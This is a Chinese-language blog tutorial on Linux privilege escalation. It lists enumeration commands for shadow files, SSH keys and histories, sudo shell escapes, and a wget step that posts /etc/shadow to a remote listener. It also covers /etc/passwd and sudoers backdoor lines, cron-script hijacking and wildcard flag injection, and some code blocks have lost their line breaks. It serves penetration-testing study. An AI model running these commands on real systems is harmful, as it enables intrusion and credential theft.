Linux提权一文通

本文最后更新于:2022年4月13日 下午

Linux提权一文通

前言

原文来自于https://www.freebuf.com/articles/251884.html

感觉很多都是机翻,还有些大大小小的格式问题

遂去外网找到原文重新翻译排版了一遍,同时也参考了原文的翻译

0x01 Linux提权描述

大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息或安装不需要的程序,例如病毒。通常,当系统存在允许绕过安全性的错误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。

特权提升是利用操作系统或软件应用程序中的错误,设计缺陷等等来获得对通常受到应用程序或用户保护的资源的更高访问权限的行为。结果是,具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执行未经授权的操作。

特权升级有两种类型:水平垂直。水平升级中,您从一个用户转移到另一个用户。在这种情况下,两个用户都是通用的,而在垂直方式中,我们将特权从普通用户提升为管理员

即用户无法访问(读取/写入/执行)不允许访问的文件。但是,超级用户(root)可以访问系统上存在的所有文件。 为了更改任何重要的配置或进行进一步的攻击,我们需要在任何基于Linux的系统上获得root用户访问权限。

0x02 Linux系统权限提升前的信息收集

信息收集非常关键。

(Linux)特权提升的Tips:

  • 信息收集-更多的信息收集,信息收集是整个渗透测试过程的
  • 整理信息-分析收集的信息和整理信息。
  • 搜索漏洞- 知道要搜索什么以及在哪里可以找到漏洞利用代码。
  • 修改代码-修改漏洞利用程序,使其适合目前的渗透。并非每种漏洞都能为“现成”的每个系统工作。漏洞看环境
  • 尝试攻击-为(很多)尝试和错误做好准备。

操作系统

发行类型&版本

1
2
3
4
cat /etc/issue 
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based

内核版本版本号&系统位数

1
2
3
4
5
6
7
cat /proc/version 
uname -a
uname -mrs
rpm -q
kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

环境变量(可能存在密码或API密钥 )

1
2
3
4
5
6
7
cat /etc/profile 
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

路径

如果对该变量内的任何文件夹都具有写权限,则可以劫持某些库或二进制文件:

1
echo $PATH
有打印机吗?
1
lpstat -a

应用与服务

获取运行的服务和归属的用户

1
2
3
4
ps aux 
ps -ef
top
cat /etc/services

以root身份运行的服务

1
2
ps aux | grep root 
ps -ef | grep root

安装的程序、版本信息、运行状态

1
2
3
4
5
6
ls -alh /usr/bin/ 
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

服务器配置信息(配置错误和脆弱组件)

1
2
3
4
5
6
7
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf cat /etc/apache2/apache2.conf
cat /etc/my.conf cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

计划了哪些工作?(计划任务)

1
2
3
4
5
6
7
8
9
10
11
12
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

是否有纯文本用户名和/或密码?

  • 检查Web服务器连接到数据库的文件(config.php或类似文件)
  • 检查数据库以获取可能被重用的管理员密码
  • 检查弱口令
1
2
3
4
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

通信与网络

查看网卡

1
2
3
ifconfig -a 
cat /etc/network/interfaces
cat /etc/sysconfig/network

网络配置、网络信息、DHCP服务器、DNS服务器、网关

1
2
3
4
cat /etc/resolv.conf 
cat /etc/sysconfig/network
cat /etc/networks
iptables -L hostname dnsdomainname

通信状况

1
2
3
4
5
6
7
8
9
netstat -anlp
netstat -ano
lsof -i
lsof -i :80 grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on last w

缓存了什么?IP和/或MAC地址

1
2
3
arp -e 
route
route -nee

数据包嗅探

1
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

注意:tcpdump tcp dst [ip] [端口]和tcp dst [ip] [端口]

端口转发

FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]

1
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

ssh-[L / R] [本地端口]:[远程IP]:[远程端口] [本地用户] @ [本地IP]

1
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地端口]> backpipe

1
2
3
4
5
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

可以使用隧道吗?在本地远程发送命令

1
ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig

用户信息

你是谁?谁登录?谁已经登录?那里还有谁?谁能做什么?
1
2
3
4
5
6
7
8
9
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

系统账户信息

1
2
3
4
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

home/root目录

1
2
ls -ahlR /root/
ls -ahlR /home/

配置文件、日志文件、可能存储口令的位置

1
2
3
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

执行命令的历史记录

1
2
3
4
5
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

用户信息?

1
2
3
4
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

私钥信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

可以在/etc/中写入哪些配置文件?能够重新配置服务?
1
2
3
4
5
6
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/var/中可以找到什么?
1
2
3
4
5
6
ls -alh /var/log ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

网站上是否有任何设置/文件(隐藏)?有数据库信息的任何设置文件吗?

1
2
3
4
5
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

日志文件中是否有任何内容(可以帮助“本地文件包含”!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messagescat /var/log/secure
cat /var/log/syslogcat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
尝试跳出命令限制
1
2
3
4
5
python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

挂载的文件系统

1
mount df -h

卸载的文件系统

1
cat /etc/fstab

特殊文件权限

1
2
3
4
5
6
7
8
9
10
11
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUIDfor i in `locate -r "bin$"`; do

find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)#

find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
可以在哪里写入和执行?一些“常见”位置:
1
2
3
4
5
6
7
8
/ tmp
/ var / tmp
/ dev / shm
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

任何“问题”文件吗?Word可写的“没人”文件

1
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable filesfind /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

准备和查找漏洞利用代码

安装/支持的开发工具/语言
1
2
3
4
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

上传文件

1
2
3
4
5
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

系统补丁

内核,操作系统,所有应用程序,其插件和Web服务

0x03 Linux提权-自动信息收集

枚举脚本

我主要使用了三个用于枚举机器的脚本。它们在脚本之间有些区别,但是它们输出的内容很多相同。因此,将它们全部测试一下,看看您最喜欢哪一个。

LinEnum

https://github.com/rebootuser/LinEnum

以下是选项:

1
2
3
4
5
-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text

Unix特权

http://pentestmonkey.net/tools/audit/unix-privesc-check
运行脚本并将输出保存在文件中,然后使用grep发出警告。

Linprivchecker.py

https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

0x04 Linux提权-内核漏洞提权

通过利用Linux内核中的漏洞,有时我们可以提升特权。我们可以通过系统的体系结构和内核版本验证内核提权是否可行。

假设我们可以以非特权用户身份运行代码,这就是内核提权的工作流程。

1.诱使内核在内核模式下运行我们的Payload

2.处理内核数据,例如进程特权

3.以新特权启动shell,获得root shell

考虑到要成功利用内核利用攻击,攻击者需要满足以下四个条件:

1.易受攻击的内核

2.匹配的漏洞利用程序

3.将漏洞利用程序转移到目标上

4.在目标上执行漏洞利用程序

防御内核提权的最简单方法是及时打补丁和更新。在没有补丁的情况下,管理员可以极大地影响在目标上转移和执行漏洞利用的能力。考虑到这些因素,如果管理员可以阻止将利用程序引入和/或执行到Linux文件系统上,则内核利用程序攻击将不再可行。因此,管理员应专注于限制或删除支持文件传输的程序,例如FTP,TFTP,SCP,wget和curl。当需要这些程序时,它们的使用应限于特定的用户,目录,应用程序(例如SCP)和特定的IP地址或域。

内核信息收集

一些基本命令收集一些Linux内核信息

命令 结果
uname -a 打印所有可用的系统信息
uname -m Linux内核体系结构(32或64位)
uname -r 内核发布
uname -n要么hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release要么cat /etc/issue 发行信息
cat /proc/cpuinfo CPU信息
df -a 文件系统信息
dpkg –list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed ‘gcc*’ 2>/dev/null| grep gcc 2>/dev/null 列出可用的编译器

对漏洞进行搜索

exploit-db.com kernel version python linprivchecker.py extended

脏牛(CVE-2016-5195)提权过程

1
2
3
4
5
6
7
1.$ whoami
告诉我们当前用户是john(非root用户)
2.$ uname -a
该内核版本受漏洞影响
>从此处下载dirtycow漏洞– https://www.exploit-db.com/exploits/40839/
>>编译并执行。通过编辑/etc/passwd文件,它将"root"用户替换为新用户"rash"
3.$ su rash –将当前登录用户更改为root用户的“ rash”。

其他内核提权

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

另外,Kali上有exploit-db的本地副本,同样可以进行查询

==避免一开始就利用任何本地特权升级漏洞==

使用内核漏洞进行提权可能会使计算机崩溃或使其处于不稳定状态。因此,==内核漏洞利用应该是最后的手段==。

0x05 Linux提权-利用以root权限运行的服务

著名的EternalBlueSambaCry漏洞利用了以root身份运行的smb服务。由于它的致命组合,它被广泛用于在全球范围内传播勒索软件。

这里的手法是,如果特定服务以root用户身份运行,并且我们可以使该服务执行命令,则可以root用户身份执行命令。

我们可以重点检查Web服务,邮件服务,数据库服务等是否以root用户身份运行。很多时候,运维人员都以root用户身份运行这些服务,而忽略了它可能引起的安全问题。可能有一些服务在本地运行,而没有公开暴露出来,但是也可以利用。

1
2
3
4
5
netstat -antup #显示所有打开并正在监听的端口。我们可以检查在本地运行的服务是否可以被利用。

ps aux #列出哪些进程正在运行

ps -aux | grep root #列出以root身份运行的服务。

在Metasploits的meterpreter中

1
ps #检查哪些进程正在运行

MySQL UDF提权

MySQL UDF动态库漏洞利用可让我们从mysql shell执行任意命令。如果mysql以root特权运行,则命令将以root身份执行。

ps -aux | grep root 列出以root身份运行的服务。

在这里插入图片描述

可以看到mysql服务以root用户组运行,那么MySQL Shell执行任意命令时的身份就是root。

在这里插入图片描述

拥有root权限的程序的二进制漏洞利用远没有内核漏洞利用危险,因为即使服务崩溃,主机也不会崩溃,并且服务可能会自动重启。

防御

除非真正需要,否则切勿以root用户身份运行任何服务,尤其是Web,数据库和文件服务器。

0x06 Linux提权-滥用sudo

在渗透中,我们拿到的webshell和反弹回来的shell权限可能都不高,如果我们可以使用sudo命令访问某些程序,则我们可以使用sudo命令提权。

常见的用来sudo提权的二进制文件

1
2
3
4
5
6
7
8
9
10
/usr/bin/find
/usr/bin/nano
/usr/bin/vim
/usr/bin/man
/usr/bin/awk
/usr/bin/less
/usr/bin/nmap ( –interactive and –script method)
/bin/more
/usr/bin/wget
/usr/sbin/apache2

sudo介绍

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

基础

它的特性主要有这样几点:

  • sudo能够限制用户只在某台主机上运行某些命令。
  • sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
  • sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变)。
  • sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。

在sudo于1980年前后被写出之前,一般用户管理系统的方式是利用su切换为超级用户。但是使用su的缺点之一在于必须要先告知超级用户的密码。

sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。

由于不需要超级用户的密码,部分Unix系统甚至利用sudo使一般用户取代超级用户作为管理帐号,例如Ubuntu、[Mac OS X](https://baike.baidu.com/item/Mac OS X)等。

参数说明:

  • -V 显示版本编号
  • -h 会显示版本编号及指令的使用方式说明
  • -l 显示出自己(执行 sudo 的使用者)的权限
  • -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码
  • -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
  • -b 将要执行的指令放在背景执行
  • -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称
  • -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
  • -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
  • -H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root )
  • command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令

sudoers文件介绍

sudoers文件主要有三部分组成:

  • sudoers的默认配置(default),主要设置sudo的一些缺省值
  • alias(别名),主要有Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias。
  • 安全策略(规则定义)——重点
1
2
3
4
5
6
7
8
9
root ALL=(ALL) ALL
#说明1:root用户可以从 ALL终端作为 ALL(任意)用户执行,并运行 ALL(任意)命令。
#第一部分是用户,第二部分是用户可以在其中使用sudo命令的终端,第三部分是他可以充当的用户,最后一部分是他在使用时可以运行的命令。sudo

touhid ALL= /sbin/poweroff
#说明2:以上命令,使用户可以从任何终端使用touhid的用户密码关闭命令电源。

touhid ALL = (root) NOPASSWD: /usr/bin/find
#说明3:上面的命令,使用户可以从任何终端运行,以root用户身份运行命令find 而无需密码。

对sudo账户的利用

要利用sudo用户,您需要找到您必须允许的命令。
sudo -l

上面的命令显示了允许当前用户使用的命令。

在这里插入图片描述

此处sudo -l,显示用户已允许以root用户身份执行所有此二进制文件而无需密码。

让我们一一查看所有二进制文件(仅在索引中提到)和将特权提升给root用户。

find命令利用

1
sudo find /etc/passwd -exec /bin/sh \;

或者

1
sudo find /bin -name nano -exec /bin/sh \;

Vim命令利用

1
sudo vim -c '!sh'

Nmap命令利用

1
2
3
4
5
6
7
8
9
#老版本nmap
sudo nmap --interactive #交互式
>!sh


#新版本nmap,需要nmap以root运行
cat os.execute("/bin/sh") > nse_root.nse
#nse是nmap的插件扩展名
nmap --script=/home/jens/nse_root.nse

Man命令利用

1
2
sudo man man
#之后按!按下并按Enter

less/more命令利用

1
2
3
4
5
sudo less /etc/hosts

sudo more /etc/hosts

之后按!按下并按Enter

awk命令利用

1
sudo awk 'BEGIN {system("/bin/sh")}'

nano命令利用

nano是文本编辑器,在您需要切换用户之后,您可以修改passwd文件并将用户添加为root特权。在/etc /passwd中添加此行,以将用户添加为root特权。

1
2
3
4
5
6
touhid:$ 6 $ bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI / gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin

sudo nano /etc/passwd

#现在切换用户,密码是test
su touhid

wget命令利用

这种方式要求Web服务器下载文件。流程如下

1
2
3
4
1.首先将目标机的/etc/passwd文件复制到攻击者计算机。
2.修改文件,并在上一步中保存的密码文件中添加用户到攻击者计算机。
3.仅附加此行=> touhid:$ 6 $ bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI / gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0 / 0:b:root/root:
4.将passwd文件托管到使用任何Web服务器的主机。

在目标机器上执行

1
sudo wget http://192.168.56.1:8080/passwd -O /etc/passwd

现在切换用户,密码是test

1
su touhid

从服务器上转储文件,例如root的ssh密钥,shadow文件等的命令如下

1
sudo wget  --post-file = /etc/shadow 192.168.56.1:8080

攻击机使用nc监听端口

1
nc –lvp 8080

apache命令利用

无法通过这种方式获得写权限和Shell,但是使用它我们可以查看系统文件。

1
sudo apache2 -f /etc/shadow

输出

1
Syntax error on line 1 of /etc/shadow:Invalid command 'root:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:17298:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration

我们可以现在提取root哈希并尝试破解。

cp命令利用

覆盖 /etc/shadow 或 /etc/passwd

1
[zabbix@localhost ~]$ cat /etc/passwd >passwd[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123$1$hack$WTn0dk2QjNeKfl.DHOUue0[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd[zabbix@localhost ~]$ cp passwd /etc/passwd[zabbix@localhost ~]$ su - hackPassword:[root@361way ~]# iduid=0(hack) gid=0(root) groups=0(root)[root@361way ~]# cat /etc/passwd|tail -1hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

mv命令利用

覆盖 /etc/shadow 或 /etc/passwd

1
[zabbix@localhost ~]$ cat /etc/passwd >passwd[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123$1$hack$WTn0dk2QjNeKfl.DHOUue0[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd[zabbix@localhost ~]$ mv passwd /etc/passwd[zabbix@localhost ~]$ su - hackPassword:[root@361way ~]# iduid=0(hack) gid=0(root) groups=0(root)[root@361way ~]# cat /etc/passwd|tail -1hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

python/perl/ruby/lua/php/etc命令利用

python

1
python -c "import os;os.system('/bin/bash')"

perl

1
exec "/bin/bash";

0x07 Linux提权-利用定时任务(Cron jobs)

如果未正确配置Cronjob,则可以利用该Cronjob获得root特权。

\1. Cronjob中是否有可写的脚本或二进制文件?
2.我们可以覆盖cron文件本身吗?
\3. cron.d目录可写吗?

Cronjob通常以root特权运行。如果我们可以成功篡改cronjob中定义的任何脚本或二进制文件,那么我们可以以root权限执行任意代码。

Cronjob简介

Cron Jobs被用于通过在服务器上的特定日期和时间执行命令来安排任务。它们最常用于sysadmin任务,如备份或清理/tmp/目录等。Cron这个词来自crontab,它存在于/etc目录中。

例如:在crontab内部,我们可以添加以下条目,以每1小时自动打印一次apache错误日志。

1
1 0 * * * printf “” > /var/log/apache/error_log

前五个数字值表示执行cronjob的时间。现在让我们了解五个数字值。

  • 分钟–第一个值表示介于0到59之间的分钟范围,而*表示任何分钟。
  • 小时–第二个值表示小时范围在0到24之间,*表示任何小时。
  • 月中的某天–第三个值表示月中的某日,范围是1到31,*表示任何一天。
  • 月–第四个值表示1到12之间的月份范围,*表示任何月份。
  • 星期几–第五个值表示从星期天开始的星期几,介于0到6之间,*表示星期几。

Cron提权概述

cron守护程序计划在指定的日期和时间运行命令。它与特定用户一起运行命令。因此,我们可以尝试使用它进行提权。

Cron信息收集

收集信息的基本命令,寻找是否能够使用错误配置的cron实现提权。

命令 结果
crontab -l 显示当前用户的cron
ls -la /etc/cron* 显示计划的作业概述

查找特权用户拥有且可写的任何内容:

1
2
3
4
5
6
7
8
9
10
11
12
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

查看其他用户的crontab

1
$ crontab -u tstark -l0 0 * * * / jarvis / reboot-arc-reactor

如果服务器上有很多用户,那么可以在cron日志中看到详细信息,可能包含用户名。

例如,在这里我可以看到运行数据库备份脚本的ubuntu用户:

1
854:05:01 dev01 CRON [2128]:(ubuntu)CMD(/var/cronitor/database-backup.sh)

使用pspy工具(32位为pspy32,64位为pspy64)。

下载链接:https://github.com/DominicBreuker/pspy

利用配置错误的cronjob获得root访问权限

1
2
3
4
5
$ ls -la /etc/cron.d #输出cron.d中已经存在的cronjob

find / -perm -2 -type f 2> /dev/null #输出可写文件

ls -la /usr/local/sbin/cron-logrotate.sh #让我们确认cron-logrotate.sh是否可写。

如果我们知道cron-lograte.sh是可写的,它由logrotate cronjob运行。

那么我们在cron-lograte.sh中编写/附加的任何命令都将以root身份执行。

我们在/tmp目录中编写一个C文件并进行编译。

rootme可执行文件将生成一个shell。

1
2
3
4
5
6
7
$ ls -la rootme #它告诉我们它是由用户'SHayslett'拥有的

$ echo "chown root:root /tmp/rootme; chmod u + s /tmp/rootme;" >/usr/local/sbin/cron-logrotate.sh #这将更改可执行文件的所有者和组为root。它还将设置SUID位。

$ ls -la rootme #5分钟后,运行了logrotate cronjob,并以root特权执行了cron-logrotate.sh。

$ ./rootme #生成一个root shell。

Cron脚本覆盖和符号链接

修改以root权限运行的cron脚本获得shell

1
2
3
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT> #Wait until it is executed/tmp/bash -p#等待执行

/tmp/bash -p

如果root用户执行的脚本使用具有完全访问权限目录,则删除该文件夹并创建一个符号链接文件夹到攻击者可控的脚本的文件夹。

1
ln -d -s </PATH/TO/POINT > </PATH/CREATE/FOLDER>

定时任务

可以监视进程以搜索每1,2或5分钟执行的进程。可以利用它提权。

例如,要在1分钟内每隔0.1s监视一次按执行次数较少的命令排序并删除一直执行的命令,可以执行以下操作:

1
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

总结

由于Cron在执行时以root身份运行/etc/crontab,因此crontab调用的任何命令或脚本也将以root身份运行。当Cron执行的脚本可由非特权用户编辑时,那些非特权用户可以通过编辑此脚本并等待Cron以root特权执行该脚本来提升其特权!

例如,假设下面的行在中/etc/crontab。每天晚上9:30,Cron运行maintenance.sh shell脚本。该脚本在root特权下运行。

1
30 21 * * * root /path/to/maintenance.sh

这使得提权变得十分简单。例如,攻击者可以通过将自己添加为sudoer来向自己授予超级用户特权。

1
echo "vickie ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

或者,他们可以通过将新的root用户添加到“ /etc /passwd”文件来获得root访问权限。由于“ 0”是root用户的UID,因此添加UID为“ 0”的用户将为该用户提供root特权。该用户的用户名为“ vickie”,密码为空:

1
echo "vickie::0:0:System Administrator:/root/root:/bin/bash" >> /etc/passwd

等等。

0x08 Linux提权-通配符注入

通配符是代表其他字符的符号。您可以将它们与任何命令(例如cat或rm命令)一起使用,以列出或删除符合给定条件的文件。还有其他一些,但是现在对我们很重要的一个是*字符,它可以匹配任意数量的字符。

例如:

  • cat * 显示当前目录中所有文件的内容
  • rm * 删除当前目录中的所有文件

它的工作原理是将*角色扩展到所有匹配的文件。如果我们有文件a,b,c在当前目录中并运行rm *,则结果为rm a b c。

原理

众所周知,我们可以在命令行中将标志传递给程序以指示其应如何运行。例如,如果我们使用rm -rf而不是,rm那么它将递归并强制删除文件,而无需进一步提示。

现在,如果我们运行rm *并在当前目录中有一个名为name的文件*将导致命令变为,rm -rf a b c。

当特权用户或脚本在具有潜在危险标志的命令中使用通配符,尤其是与外部命令执行相关的通配符时,我们可能会使用它来升级特权。

chown和chmod

chown和chmod都可以用相同的方式利用,因此我只看看chown。

Chown是一个程序,可让您更改指定文件的所有者。以下示例将some-file.txt的所有者更改为some-user:

chown some-user some-file.txt

Chown具有一个–reference=some-reference-file标志,该标志指定文件的所有者应与参考文件的所有者相同。一个例子应该有帮助:

chown some-user some-file.txt –reference=some-reference-file

假设的所有者some-reference-file是another-user。在这种情况下,所有者some-file.txt将another-user代替some-user。

利用

假设我们有一个名为弱势程序的脆弱程序,其中包含以下内容:

1
2
cd some-directory
chown root *

在这种情况下,让我们创建一个我们拥有的文件:

1
2
cd some-directory 
touch reference

然后我们创建一个文件,并注入标记:

1
touch -- --reference=reference

